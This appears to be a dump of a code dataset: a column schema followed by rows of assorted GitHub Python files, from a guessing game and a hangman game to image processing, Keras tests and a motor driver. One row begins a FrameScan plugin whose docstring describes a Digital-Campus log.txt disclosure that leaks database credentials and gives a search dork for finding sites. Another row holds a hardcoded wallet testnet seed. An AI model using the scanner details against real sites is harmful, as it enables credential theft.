blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
69
license_type
stringclasses
2 values
repo_name
stringlengths
5
118
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
63
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
2.91k
686M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
213 values
src_encoding
stringclasses
30 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
2
10.3M
extension
stringclasses
246 values
content
stringlengths
2
10.3M
authors
listlengths
1
1
author_id
stringlengths
0
212
75011d583f8ed3d79e464fde4a0f8d561402530b
ea709c54bc670dfe29645d4953016b35bcd1ba51
/python101/small/work_or_sleep_in.py
98647724be5bc3bdd8a3286decf32538e4f362cf
[]
no_license
aammokt/newProject
28a4d562738cf678442359d5e163ca192a2d652f
288c6a3ebce9debc5b681a847aabd039b2571832
refs/heads/master
2020-08-04T10:33:23.421375
2019-11-10T07:04:56
2019-11-10T07:04:56
212,107,895
0
0
null
null
null
null
UTF-8
Python
false
false
108
py
day = int(input('Day (0-6)? ')) if day == 0 or day == 6: print("Sleep in") else: print("Go to work")
[ "alim.anuar@gmail.com" ]
alim.anuar@gmail.com
03407dc891590de2c8d38cae0e52aacc673380f7
120e6df90ad210b1608296302620e61a1e3d6e7d
/src/run_pyphlawd_sequential.py
78ed92d77def0beebd91d13c2f351b0e1672b7f6
[]
no_license
uribe-convers/Fungi_ToL
83858993b6a77a2a9e6186f4f15ff918eeb53d43
e664ec46aeebca24ed1a01190673af02fe4bd144
refs/heads/master
2021-01-20T11:36:13.624816
2018-01-16T16:40:02
2018-01-16T16:40:02
99,732,285
0
0
null
null
null
null
UTF-8
Python
false
false
1,572
py
#! /usr/bin/env python """ use this to run pyphlawd, put this in a folder that you want to run the analyses""" import os,sys # change the database path accordingly database= "/data_nvme/PHLAWD_DBS/pln.db" # change your focal clade in Clade_list Clade_list = ["Entomophthoromycotina", "Mortierellomycotina", "Ustilag...
[ "uribe.convers@gmail.com" ]
uribe.convers@gmail.com
bf265d50b8e20e755fa294e2c7d246f1c1e2aa11
19b1bd54c1959ea7074e2ef691da8abfe2fd81eb
/Assignment_1/src/question7.2.i.py
46121e185ab79e009b615b24057f94d08e704d65
[]
no_license
jeetv/Digital_Image_Processing
aba5f3962e8a705581bfcb01b2a5b8c08ddcf87e
cef0b9449106b8098eaf0c326159a10c1437c0c3
refs/heads/master
2022-11-18T20:51:54.824326
2020-07-15T06:40:04
2020-07-15T06:40:04
279,781,049
0
0
null
null
null
null
UTF-8
Python
false
false
2,195
py
import numpy as np import cv2 import matplotlib.pyplot as plt def cumulative_histogram(hist): cum_hist = np.copy(hist) for i in range(1, 256): cum_hist[i] = cum_hist[i-1] + cum_hist[i] return cum_hist def histogram(img): height = img.shape[0] width = img.shape[1...
[ "noreply@github.com" ]
jeetv.noreply@github.com
442f06e185a19672e261b62b17153e72bbbe3877
ae0e6d02edd97a6d6e88b6483d92abca3bf55f63
/tests/test_sort_layer.py
967b3b07ade56662a98295ac9e51e4c9d17a1f24
[]
no_license
thongonary/CMS_Deep_Learning
7a3ccb4ea341434ae083e6f5e0bf43e7df11d963
80e914f935d9cd6ca2f1237bc61fad5519b52906
refs/heads/master
2021-04-06T20:16:08.054349
2018-03-15T21:15:02
2018-03-15T21:15:02
125,426,799
2
0
null
2018-03-15T21:13:40
2018-03-15T21:13:34
Jupyter Notebook
UTF-8
Python
false
false
1,435
py
import sys, os if __package__ is None: import sys, os sys.path.append(os.path.realpath("../")) import unittest from keras.layers import Input from keras.engine import Model from CMS_Deep_Learning.layers.sort_layer import Sort,Perturbed_Sort,Finite_Differences import numpy as np def test_works(): a = Inp...
[ "dannyweitekamp@gmail.com" ]
dannyweitekamp@gmail.com
d0dbd2a5247684b1ca82b498129fb8f825def345
b9f791c320dd7c84ee388447fb7f46c583a8386f
/Week__6.py
1ec9332844a599e3562d0e998e329ae5014c44d6
[]
no_license
smarigowda/SukruthiLearningPython
d39dec0beaed6d0aead32a5bac4fd086a9ef0de5
4190f7043cd1a3131963daa559d2d63154937f45
refs/heads/master
2020-06-13T23:55:39.599006
2017-02-12T18:16:21
2017-02-12T18:16:21
75,542,332
0
0
null
null
null
null
UTF-8
Python
false
false
378
py
# big number game import random highest = 1000 answer = random.randint(1, highest) print("Please guess a number between 1 and {}: ".format(highest)) guess = 0 while guess != answer: guess = int(input()) if guess == 0: break if guess < answer: print("Please guess higher.") elif guess > answer: print("Please ...
[ "santosharakere@gmail.com" ]
santosharakere@gmail.com
26805815aba615d6c989373312c4bc72265aa1f1
0329677920e29e68778c623b05bf4ca69e528c41
/Part 8 - Deep Learning/Section 42- SELF ORGANIZING MAPS_/Mega_Case_Study/Mega_Case_Study/som.py
3fd00008b8d5a3d504da1a882b30b3284fdcc0b8
[]
no_license
celestialized/Machine-Learning
b2075b83139f66bc31c02c64cfe27dfbf19e4ab6
df30af31f04d03d9796974daf82373436fb6460e
refs/heads/master
2021-09-21T16:55:51.432572
2018-08-29T20:33:13
2018-08-29T20:33:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,040
py
# Self Organizing Map #IT CONVERT MANY COLUMN INTO 2-d MAP # Importing the libraries import numpy as np import matplotlib.pyplot as plt import pandas as pd # Importing the dataset #http://archive.ics.uci.edu/ml/datasets/statlog+(australian+credit+approval) #in this problem to detect the approval of credit card applic...
[ "ranasinghiitkgp@gmail.com" ]
ranasinghiitkgp@gmail.com
ecf8a9a8bf5893ca0a15c7017b893c7461e1bf29
1555996141776d77ca76a79ab768fb0f39689b84
/Create Your First Robot with ROS/my_robot_control/motor_driver.py
89bee657205764cf339002eb08717d3f924cac8d
[]
no_license
im7RJ/ROSBOTS
d3ba146b4e63ec3fc24e935f372b28d80a57b6bd
5fd4d29d8d66f92ac4feea621a0afa4be67fe32b
refs/heads/main
2023-05-07T16:50:17.622818
2021-06-03T13:34:21
2021-06-03T13:34:21
373,515,598
0
0
null
null
null
null
UTF-8
Python
false
false
8,694
py
#!/usr/bin/env python import rospy import RPi.GPIO as GPIO import time class MotorDriver(object): def __init__(self, wheel_distance=0.098, wheel_diameter=0.066, i_BASE_PWM=50, i_MULTIPLIER_STANDARD=0.1, i_MULTIPLIER_PIVOT=1.0, simple_mode = True): """ M1 = Right Wheel M2 = Left Wheel ...
[ "noreply@github.com" ]
im7RJ.noreply@github.com
eaafd97a3b66ddc8243249cd58a921af8ae38985
7a6dcd5197e6dfedc5bdc38586adc0e3fd9d2676
/Unit3/ps3_hangman.py
fa6a5a610d1c80353f94fe2a646b9712cb34f58e
[]
no_license
HrachAsatryan/PythonCourse
f8145757e20ef36671891656de8cb5fc0f0b371e
38fe4151e3805d482f3c1042a97742e4ed691dd3
refs/heads/main
2023-06-21T10:14:20.858366
2021-07-22T10:58:14
2021-07-22T10:58:14
379,166,722
1
0
null
null
null
null
UTF-8
Python
false
false
4,552
py
# Hangman game # # ----------------------------------- # Helper code # You don't need to understand this helper code, # but you will have to know how to use the functions # (so be sure to read the docstrings!) import random WORDLIST_FILENAME = "words.txt" def loadWords(): """ Returns a list of valid words. ...
[ "intelinair@IntelinAirs-MacBook-Pro.local" ]
intelinair@IntelinAirs-MacBook-Pro.local
aea16e0264322faacb3cff68da0ac4f50a472a55
6f1034b17b49f373a41ecf3a5a8923fb4948992b
/pychron/hardware/kerr/tests/kerr_motor.py
fa203e2f504d4b02343785c91885bc3ab936dcce
[ "Apache-2.0" ]
permissive
NMGRL/pychron
a6ec1854488e74eb5d3ff53eee8537ecf98a6e2f
8cfc8085393ace2aee6b98d36bfd6fba0bcb41c6
refs/heads/main
2023-08-30T07:00:34.121528
2023-06-12T17:43:25
2023-06-12T17:43:25
14,438,041
38
28
Apache-2.0
2023-08-09T22:47:17
2013-11-15T23:46:10
Python
UTF-8
Python
false
false
229
py
import unittest class KerrMotorTestCase(unittest.TestCase): def test_something(self): self.assertEqual(True, False) def test_float_to_hexstr(self): pass if __name__ == "__main__": unittest.main()
[ "jirhiker@gmail.com" ]
jirhiker@gmail.com
026ea2cb643b8aa5f372081eab11ecea7f645230
518e9704fa8af10be824deec4b55e40bb21060e0
/VOC/anchor/prior_anchors.py
ccd711fa7f0a1714debc534b6abac0d650d2f920
[]
no_license
yl-jiang/Yolov2-Pytorch1.2
5d072d9b6e03cb759591fbc251cba7f946ed3d4e
4d41f695c099bc0567cbeff60bce8be94e2a8c38
refs/heads/master
2022-04-22T04:16:54.477783
2020-04-24T14:34:09
2020-04-24T14:34:09
258,536,965
0
0
null
null
null
null
UTF-8
Python
false
false
7,125
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2019/8/22 下午3:53 # @Author : jyl # @File : prior_anchors.py from config import opt import numpy as np import matplotlib.pyplot as plt import random from utils import alias_sample from tqdm import tqdm import os from bs4 import BeautifulSoup import pickle ...
[ "yvlinchiang@gmail.com" ]
yvlinchiang@gmail.com
24e72a47b3f994223ff0c193db2e35e8eaa8b2df
b23e4b73832b96fedc229fbf7fa0a5ee9fead44b
/server/libs/config.py
300dc317428c1b67c1f0233c8b585e33498ecc55
[]
no_license
chaeplin/yadashvend
d746e4ea6a79add64149fc5112339fe26a580a25
295190dee8319821ec0e2b59940cca8b70f2650c
refs/heads/master
2021-01-12T15:00:13.103716
2016-10-29T15:43:00
2016-10-29T15:43:00
71,659,413
1
0
null
2016-10-23T17:26:57
2016-10-22T18:57:54
Python
UTF-8
Python
false
false
1,629
py
# seed for generate address BIP32_TESTNET_SEED = 'DRKPuUb97UQHNUHs5ktawTeAdwMsBaHCsLA1JW8iYpK5orXyiKPba3MyTP4sttpzhWdVKNej2TxkhR3WNrQqWGMg64ood5HaXL5Avi9ad5vaqc8U' # max keys in r_NEW_ADDR_SET max_keys_in_r_NEW_ADDR_SET = 100 #key prefix key_prefix = 'testnet:' # redis # key for index of key generation r_ADDR_GEN_IN...
[ "chaeplin@gmail.com" ]
chaeplin@gmail.com
4816f423ce7470e056af3a0ef6115af9bd76c32c
ad9bd58a3ec8fa08dfcc994d4101ee815a9f5bc0
/02_algorithm/programmers/Level4/도둑질.py
7d22e81f4529e1e3a2c44f3d9e41eff8f758d60b
[]
no_license
wally-wally/TIL
93fc1d0e3bc7d030341ed54155294c68c48b4c7d
936783bc86f563646c0398c24e2fcaa707f0ed23
refs/heads/master
2023-04-28T08:59:48.235747
2023-04-12T12:06:52
2023-04-12T12:06:52
195,918,111
40
7
null
2020-09-29T16:20:46
2019-07-09T02:31:02
Python
UTF-8
Python
false
false
596
py
def solution(money): money_length = len(money) DP = [0 for _ in range(money_length - 1)] # 첫 번째 집부터 턴 경우 DP2 = [0 for _ in range(money_length)] # 두 번째 집부터 턴 경우 # 초기화 과정 DP[0] = money[0] DP[1] = money[0] DP2[0] = 0 DP2[1] = money[1] for i in range(2, money_length - 1): DP[i]...
[ "wallys0213@gmail.com" ]
wallys0213@gmail.com
49323ed787e5f0b7886f1940248e8fa61f45784a
61bd955e7d83f7901c8d24fd65d3e59fbb960ff6
/Problem2.py
135e2316b11026486dbcfbfab157a087ce676363
[]
no_license
NinaOwl/ADM_HW1
dba0abf9f483ba1ad60f196ee6c9dea89525cc2e
08edae46bb87471af44814af785315f52a5005ff
refs/heads/main
2023-08-21T08:19:04.097651
2021-10-10T13:26:54
2021-10-10T13:26:54
415,559,712
0
0
null
null
null
null
UTF-8
Python
false
false
4,995
py
# birthday-cake-candles https://www.hackerrank.com/challenges/birthday-cake-candles/problem #!/bin/python3 import math import os import random import re import sys # # Complete the 'birthdayCakeCandles' function below. # # The function is expected to return an INTEGER. # The function accepts INTEGER_ARRAY candles as...
[ "noreply@github.com" ]
NinaOwl.noreply@github.com
e5d99ee86fa8bccd4aad485ec8314e1749a15a00
27790d89433cf1cfb8a0ad636ba76c24ec66b7ff
/naver_webtoon_crawling.py
a6a5c8a3ffb16bb10cf7a42b8520fb09cbd29067
[]
no_license
capston123/back_end
5625037f0b3bf6f3ae0cb5a75ff19ce781090784
9687f225495364d226aee34ac044f2f4a280881f
refs/heads/master
2023-04-09T19:03:58.639126
2021-04-12T18:02:44
2021-04-12T18:02:44
311,255,740
0
0
null
null
null
null
UTF-8
Python
false
false
4,280
py
""" 1. 클래스로 저장? 2. 23~24시 기준으로 업데이트 웹툰만 크롤링? """ import django from datetime import date from selenium import webdriver import os os.environ.setdefault("DJANGO_SETTINGS_MODULE", "contents.settings") django.setup() from webtoons.models import Naver save_data = [] today_date = date.today() # chrome 창 크기 조절 options = w...
[ "sunsu2737@gmail.com" ]
sunsu2737@gmail.com
6d5a54b10e007cacf22f064a0fcd21ac7e0bfe12
ba2b72c485ca6f8e62e7ca7c0286ac41641f85a9
/openrec/utils/samplers/pointwise_sampler.py
baef51f6af781bc7a0eeb752add3d41f5e613736
[ "Apache-2.0" ]
permissive
christinatsan/openrec
8a2a9f411a51f853f88fe79a25304ea53c79bf81
f4eb2fda42818705053b775facfa34921dcd5762
refs/heads/master
2021-05-16T14:39:55.245752
2018-01-22T16:43:26
2018-01-22T16:43:26
118,484,419
0
0
null
2018-01-22T16:36:28
2018-01-22T16:36:28
null
UTF-8
Python
false
false
2,411
py
import numpy as np import random from multiprocessing import Process from openrec.utils.samplers import Sampler class _PointwiseSampler(Process): def __init__(self, dataset, batch_size, pos_ratio, q): self._dataset = dataset self._batch_size = batch_size self._num_pos = int(batch_...
[ "ylongqi@gmail.com" ]
ylongqi@gmail.com
c702c82bd6cb53a5ba57c999529361d2ef38e4b0
0db05f7b843e8450bafd5ae23f8f70f9a9a8c151
/Src/StdLib/Lib/site-packages/pythonwin/pywin/framework/bitmap.py
6d6bcd5ecbe4a4a1e59b87f1a7d7b8583e8d26f7
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0", "BSD-3-Clause", "Python-2.0", "LGPL-2.0-only" ]
permissive
IronLanguages/ironpython2
9c7f85bd8e6bca300e16f8c92f6384cecb979a6a
d00111890ce41b9791cb5bc55aedd071240252c4
refs/heads/master
2023-01-21T21:17:59.439654
2023-01-13T01:52:15
2023-01-13T01:52:15
91,620,472
1,171
288
Apache-2.0
2023-01-13T01:52:16
2017-05-17T21:11:51
Python
UTF-8
Python
false
false
4,646
py
import win32ui import win32con import win32api import string import os import app import sys from pywin.mfc import docview, window bStretch = 1 class BitmapDocument(docview.Document): "A bitmap document. Holds the bitmap data itself." def __init__(self, template): docview.Document.__init__(self, template) sel...
[ "pawel.jasinski@gmail.com" ]
pawel.jasinski@gmail.com
4777c5b5c8a5917975b15e51607d87d7d16d0173
c048d2cb39d391cdbf530523eb2832d44dce708a
/Plugins/digital_campus/campus_log_disclosure.py
e5c5ab2044e188213d0310aaedfbe5ef8cc9b383
[]
no_license
z3r023/FrameScan-GUI
434655e81a354365ff2cce9c2d714f255d694111
e207108fc4e4878d6c66cc72779caed29b788057
refs/heads/master
2020-08-08T12:14:58.074632
2019-10-06T10:38:42
2019-10-06T10:38:42
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,394
py
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' name: Digital-Campus数字校园平台LOG文件泄露 referer: http://www.wooyun.org/bugs/wooyun-2014-071575 author: Lucifer description: 关键词:intitle:数字校园平台--Digital Campus2.0 Platform。log.txt日志文件泄露,可获取数据库账号等敏感信息。 ''' import re import sys import requests import warnings class campus_log_di...
[ "1919010193@qq.com" ]
1919010193@qq.com
f5fc4d106bf0a2c637b87d9bf0ec63bedd3b338d
d727fdbbdd5dd8914811cba33c09d10dd393299e
/TrajectoryPlanning/pathLatticeXY3.py
e2400d06d121fb0415a5a9adb4919369231e6585
[ "MIT" ]
permissive
gaohongfein/PTPSim
60030f5c926895c856b6a4f4f48b542a09e84b3e
63bc0b7e81846fdd02dc8c105f356595cb9f3d91
refs/heads/master
2022-01-20T16:35:37.240997
2019-08-17T14:45:52
2019-08-17T14:45:52
null
0
0
null
null
null
null
UTF-8
Python
false
false
7,906
py
""" MIT License Copyright (c) 2019 ming Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribu...
[ "ming.ustb@outlook.com" ]
ming.ustb@outlook.com
9fdf1744503ec788d735265bc226b7ba1e8701a8
ae7eea42299728df34c5652c52f1b341f449fcd4
/customerevents/tracker.py
96d4a4db925461f06a69eb395529bcf2a03d6c12
[]
no_license
zbyte64/django-customerevents
27ef98c4785c021144cf9e343e52c0bd242884f9
d16e8f24b8a42cf332e9348b250ce4e9a11b57da
refs/heads/master
2020-05-30T04:14:30.240862
2014-12-10T19:35:41
2014-12-10T19:35:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,711
py
from threading import local from .backends import get_backends from .tasks import send_tracking_to_backend, send_tracking_to_backends SESSION = local() def get_tracker(request=None): if hasattr(SESSION, 'tracker'): if request: if SESSION.tracker.request: assert SESSION.track...
[ "zbyte64@gmail.com" ]
zbyte64@gmail.com
fcfa88a0ada1b0e76fa893918074a7025147c19c
bb29e732c2c5394dc80bee2e5f20958034ca2a91
/setup.py
0397a4914e5698920e0aa21759cf40e7bb8eaf26
[]
no_license
chengjia63/srh_cnn
e9814520f167935817c6838390c06d121ab52b2b
89227b2d68d60c3938069d2b36514094da123f86
refs/heads/master
2020-12-12T00:09:19.221037
2020-02-18T06:54:32
2020-02-18T06:54:32
233,991,554
0
0
null
2020-01-15T03:37:12
2020-01-15T03:37:11
null
UTF-8
Python
false
false
325
py
from setuptools import setup, find_packages setup( name='srh-cnn', install_requires=[ 'setuptools>=41.0.0', 'numpy==1.18.1', 'matplotlib==3.1.2', 'scikit-learn==0.22.1', 'tensorflow-gpu', 'keras==2.3.1', 'opencv-python==4.1.2.30', 'Pillow==7' ...
[ "chengjia@umich.edu" ]
chengjia@umich.edu
2d7149372e0ce6b3f231d6b52c452197548e012f
e0cc8f10d417fdf7870981808d775d41bb8cd2da
/blog/models.py
f848bccc4e16c3430b25e9b1b10ada0c85e0d13c
[]
no_license
aman1100/iCoder
70f86eccc2783985c53b63c3517317ab7cfea355
a7f53b4ade3ee44dd75434214e8f16e8cfea20ef
refs/heads/master
2022-12-31T12:18:38.192297
2020-10-23T08:10:19
2020-10-23T08:10:19
297,904,421
1
2
null
2020-09-27T08:35:59
2020-09-23T08:31:14
Python
UTF-8
Python
false
false
400
py
from django.db import models # Create your models here. class Post(models.Model): sno = models.AutoField(primary_key=True) title = models.CharField(max_length=300) content = models.TextField() author = models.CharField(max_length=50) slug = models.CharField(max_length=150) timeStamp = models.D...
[ "aman.chandna2000@gmail.com" ]
aman.chandna2000@gmail.com
9536ad374c3bb724a992c0d37393e5ae7408b78c
fc07f14697ca7872b7e7d4f10af572d823de18d1
/trainer/asr/meta_trainer.py
6bf2e261aa15b6f7ca0b11ed376057b7ec643dc8
[ "MIT" ]
permissive
LJQCN101/meta-transfer-learning
6955156fc484bfd5178c7e4968216cd7a8a51fec
1ed18e793c31b79a224a5334ed5a5b8a8ac3e71a
refs/heads/master
2022-11-23T12:22:32.677588
2020-07-30T16:39:54
2020-07-30T16:39:54
null
0
0
null
null
null
null
UTF-8
Python
false
false
25,471
py
import time import numpy as np import torch import logging import sys import threading import time from copy import deepcopy from tqdm import tqdm # from utils import constant from collections import deque from utils.functions import save_meta_model, save_discriminator, post_process from utils.optimizer i...
[ "gentaindrawinata@gmail.com" ]
gentaindrawinata@gmail.com
afe3734274673293bc738c0825825646c0a6fddf
14ff5ca733ce92c14dd347e32c7ad262026c48cf
/typeshed/rdflib/tools/graphisomorphism.pyi
72650c110cb60606c52f67b9186a635184d78dd3
[ "Apache-2.0" ]
permissive
common-workflow-language/cwlprov-py
6040bd1ea18fb58909bba9874f65e4edcc4ecd92
9b719c687484d3f888eb5f807ec3270e9081078a
refs/heads/main
2023-08-17T06:03:39.274209
2022-07-19T18:09:15
2022-07-19T18:21:13
148,144,870
1
2
Apache-2.0
2023-08-02T18:35:35
2018-09-10T11:27:31
Python
UTF-8
Python
false
false
590
pyi
from collections.abc import Generator from rdflib import BNode as BNode, Graph as Graph from typing import Any class IsomorphicTestableGraph(Graph): hash: Any def __init__(self, **kargs) -> None: ... def internal_hash(self): ... def hashtriples(self) -> Generator[Any, None, None]: ... def vhash(sel...
[ "1330696+mr-c@users.noreply.github.com" ]
1330696+mr-c@users.noreply.github.com
4421f9722d3ddb7c18d3154c684901a423c77975
4cdc9ba739f90f6ac4bcd6f916ba194ada77d68c
/剑指offer/第四遍/59-2.队列的最大值.py
eab66a3f27e05f26ce4c57438bfeb7bdae84ad74
[]
no_license
leilalu/algorithm
bee68690daf836cc5807c3112c2c9e6f63bc0a76
746d77e9bfbcb3877fefae9a915004b3bfbcc612
refs/heads/master
2020-09-30T15:56:28.224945
2020-05-30T03:28:39
2020-05-30T03:28:39
227,313,730
0
0
null
null
null
null
UTF-8
Python
false
false
1,200
py
""" 请定义一个队列并实现函数 max_value 得到队列里的最大值,要求函数max_value、push_back 和 pop_front 的均摊时间复杂度都是O(1)。 若队列为空,pop_front 和 max_value 需要返回 -1 示例 1: 输入: ["MaxQueue","push_back","push_back","max_value","pop_front","max_value"] [[],[1],[2],[],[],[]] 输出: [null,null,null,2,1,2] 示例 2: 输入: ["MaxQueue","pop_front","max_value"] [[],[],[]] 输...
[ "244492644@qq.com" ]
244492644@qq.com
c7d7be82b06fe11ec65fb84ae4c2af426f64c544
bb1aec23bfc9accfc247382702a3d5bf297421d0
/djresthw/settings.py
3bd64b1d64a7acf4b99fbc75083a36237112be68
[]
no_license
KenJi544/djrest
d06ada70739c3aa777999ebdcf12cc6e559e3ecc
6c3051357619ce844bd7d00811364d8ee45ebded
refs/heads/master
2020-06-05T20:35:50.715007
2019-06-18T12:54:36
2019-06-18T12:54:36
192,539,265
0
0
null
null
null
null
UTF-8
Python
false
false
3,238
py
""" Django settings for djresthw project. Generated by 'django-admin startproject' using Django 2.2.1. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ import os ...
[ "dan@smartsoftdev.eu" ]
dan@smartsoftdev.eu
ab88d984c56fab8df7b123df290ae712ef6252cf
76e91717f7b2c20061de75f27c445736869b3051
/BasicCrickulator.py
74b0f39da27a49814e99642bd6c470ebc8265805
[]
no_license
dalzuga/Crickulator
67047fb866038187c0107f3d2e7fbb761d2ed647
e0a53f77a55e5feb0b9671140bf09da369b3c0ef
refs/heads/master
2021-01-18T09:39:00.351126
2016-09-12T16:46:47
2016-09-12T16:46:47
68,026,214
0
0
null
2016-09-12T16:21:19
2016-09-12T16:21:19
null
UTF-8
Python
false
false
1,029
py
#!/bin/python print"This program converts temperatures between Fahrenheit, Celsius, Kelvin, and Bug chirps." temp, unit = raw_input("Please enter the temperature and the unit (F, C, K, or B): ").split() temp = int(temp) print temp print unit if unit == "F": celsius = (temp - 32) / 1.8 kelvin = (temp +...
[ "nwilliammccann@gmail.com" ]
nwilliammccann@gmail.com
3f84178579df9e1381f23307dfbcdebae314e114
503413c4e4b7f2b87797dcddcf16d2c3f2282016
/A4/test_breakdown_amount.py
008cf59cf8ed072b005e658c2bd718adbdf77281
[]
no_license
marlonrenzo/A01054879_1510_assignments
c1475a3fd263a8a6a1234ffd0818a75706e6194f
f4a3f9af21f7170ba70c901bc22ff6d95a6e535f
refs/heads/master
2022-03-23T22:07:29.067075
2019-12-08T19:01:32
2019-12-08T19:01:32
209,661,046
0
0
null
null
null
null
UTF-8
Python
false
false
2,464
py
from unittest import TestCase from A4.Question_5 import breakdown_amount class TestBreakdownAmount(TestCase): def test_breakdown_amount_one_hundred_one(self): test = {100: 0, 50: 0, 20: 0, 10: 0, 5: 0, 2: 0, 1: 0, 0.25: 0, 0.10: 0, 0.05: 0, 0.01: 0} test_amount = 101.0 actual = breakdown_a...
[ "marlonrfajardo@gmail.com" ]
marlonrfajardo@gmail.com
7d2dd5d6386b11b1f3d8df9469fa3d749015aee6
4830c991616800e7e4d1e9da87f822655b996859
/Ch7E4_TriviaV1.3.0/high_score.py
c92ccc150bd0b8b9904ca95162f2fb8fded3c831
[]
no_license
malmhaug/Py_AbsBegin
daf72786e11118a5586a169ea66203f615fbaeed
c1e12491a4998c35e86e46010adf9a14e735d667
refs/heads/master
2021-01-17T13:20:04.143941
2016-08-01T18:24:29
2016-08-01T18:24:29
48,393,823
7
0
null
null
null
null
UTF-8
Python
false
false
1,742
py
import sys def open_file(file_name, mode): """Open a file.""" try: the_file = open(file_name, mode) except IOError as e: print("Unable to open the file", file_name, "Ending program.\n", e) input("\n\nPress the enter key to exit.") sys.exit() else: retu...
[ "malmhaug@gmail.com" ]
malmhaug@gmail.com
befd93169d42e555fdce72b8a3b9244d111ec2e2
524885e37b29d9bb6fe86017d41691cf8e74050d
/kungfu_blog/settings.py
55063af89ea5601bb82fd6489455a4d818b5fdee
[]
no_license
manas-anarov/kungfu_blog
1cc3cd2f6e0a3afd98e5089c198677eea08b71b7
6fa88805ed3921406f4d34cd962eaa3e3250a1d7
refs/heads/master
2020-07-11T12:06:14.720355
2019-08-27T11:50:22
2019-08-27T11:50:22
204,534,701
0
4
null
null
null
null
UTF-8
Python
false
false
3,329
py
""" Django settings for kungfu_blog project. Generated by 'django-admin startproject' using Django 2.0.1. For more information on this file, see https://docs.djangoproject.com/en/2.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.0/ref/settings/ """ import o...
[ "microsoft.kg@mail.ru" ]
microsoft.kg@mail.ru
a593bb9c456bb9b578077de9086795fec3de27e3
0d38affd6dd98a7e3d5400fb090f15f2e5b84328
/web_app/views.py
00684a672016809e5af4438d2f505ce0fca3276d
[]
no_license
sangireddyabhilash/FASTSIM
400e47386b17f4ea9c077038cd1ee488319f5500
286a5b4464851297667296f9cc355195765d2423
refs/heads/master
2020-08-30T04:23:23.133878
2019-10-29T10:55:13
2019-10-29T10:55:13
218,261,965
0
0
null
null
null
null
UTF-8
Python
false
false
4,690
py
from django.shortcuts import render from rest_framework.views import APIView from rest_framework.renderers import TemplateHTMLRenderer from rest_framework.parsers import MultiPartParser from rest_framework.response import Response from rest_framework.exceptions import APIException from itertools import product from ....
[ "abhilash.sangireddy@sprinklr.com" ]
abhilash.sangireddy@sprinklr.com
fc0d048ffd7503c409ac2f5cf15aa5e8d92a10f5
38ad0af18203d8c21458e5f83434cc338a477bd3
/v1/maybe.py
bc164db0efef75b88068be9aeb49032f5081f79a
[]
no_license
OaklandPeters/learning_monads
111c39f6285de9ada7c08960b88f1e3a89338637
9af7ffad2e2ca5f3275f47cff1052fe83e093598
refs/heads/master
2016-08-12T15:42:35.762982
2016-05-09T19:05:42
2016-05-09T19:05:42
49,683,084
0
0
null
null
null
null
UTF-8
Python
false
false
1,467
py
#!/usr/bin/env python3 """ Ok, I'm just arbitarily defining this 'Maybe' as Maybe error. Idea for treatment: Have 'lift' just be a wrap (even when used as a decorator). So, that lift(function) --> an object whose __call__ triggers f_apply """ from typing import Callable, TypeVar, Iterator, Any from monad i...
[ "oakland.peters@gmail.com" ]
oakland.peters@gmail.com
1b29971349c8bd365a97cad27882735328b1de32
b8aa670d8328ac47d4cd9849a8c1624731f46674
/webapp/views/index.py
d61f3e5381f42a61b5f0eec5874c363a1f4df5f6
[]
no_license
danlliu/webapp
54744c2304652a3dd08ed76dfa16243a08fec3de
18278131e3e8fe208640ff5751e8c53a7b82689e
refs/heads/main
2023-09-03T05:19:22.548631
2021-10-28T03:54:48
2021-10-28T03:54:48
null
0
0
null
null
null
null
UTF-8
Python
false
false
624
py
import flask from flask import request, session import webapp @webapp.app.route('/') def webapp_index(): if 'username' in session: return flask.render_template('index.html', **{'logname': session['username']}) return flask.render_template('index-nologin.html') @webapp.app.route('/users/') @webapp.a...
[ "danlliu@umich.edu" ]
danlliu@umich.edu
14248fcb0ff7af8bc89af5140584b7be4da9c118
fd547ec5dd01039b5a0b89c1e3c14e39a7532f37
/cms/wizards/views.py
6e55e3d0d7e459337cf0884c6f38f084279bbe8b
[ "BSD-3-Clause" ]
permissive
leoiceo/django-cms
30e4a7a4b0b8555613368b28ba4dfb8eee4dac8b
2709fa6ffb5f4fadba91da48a2557438c0edc576
refs/heads/develop
2021-01-18T04:41:51.724354
2015-10-22T17:16:23
2015-10-22T17:16:23
44,788,187
0
1
null
2015-10-23T03:18:39
2015-10-23T03:18:39
null
UTF-8
Python
false
false
5,416
py
# -*- coding: utf-8 -*- import os from django.forms import Form from django.conf import settings from django.core.files.storage import FileSystemStorage from django.db import transaction from django.template.response import SimpleTemplateResponse from django.utils.translation import get_language_from_request try: ...
[ "mkoistinen@gmail.com" ]
mkoistinen@gmail.com
c9a133dd357d3b31b1ef805daf0f051cdb6e004d
f25522aef57cbe5e3d6970ed2d9d1f0d8e1901d0
/FYP/Code/sample.py
dc125c6572c128990961beac3d3b326b0fdcc0ed
[]
no_license
txs640/FinalYearProject
75f615a53fdb71043e2dfad0deca3434415d877a
b6ae7dad29e19a28138b2c4f6d185dc1fb25a23a
refs/heads/master
2020-04-08T00:04:51.173940
2019-01-18T19:04:38
2019-01-18T19:04:38
158,837,036
0
0
null
null
null
null
UTF-8
Python
false
false
29
py
function setup(){ }
[ "txs640@student.bham.ac.uk" ]
txs640@student.bham.ac.uk
2f7549c4baa76bb0dbc1bf9eacce548d49027078
ae9ffbe5924eedbac57af535d0f20819b58f3bcb
/examples/myblog/models/models.py
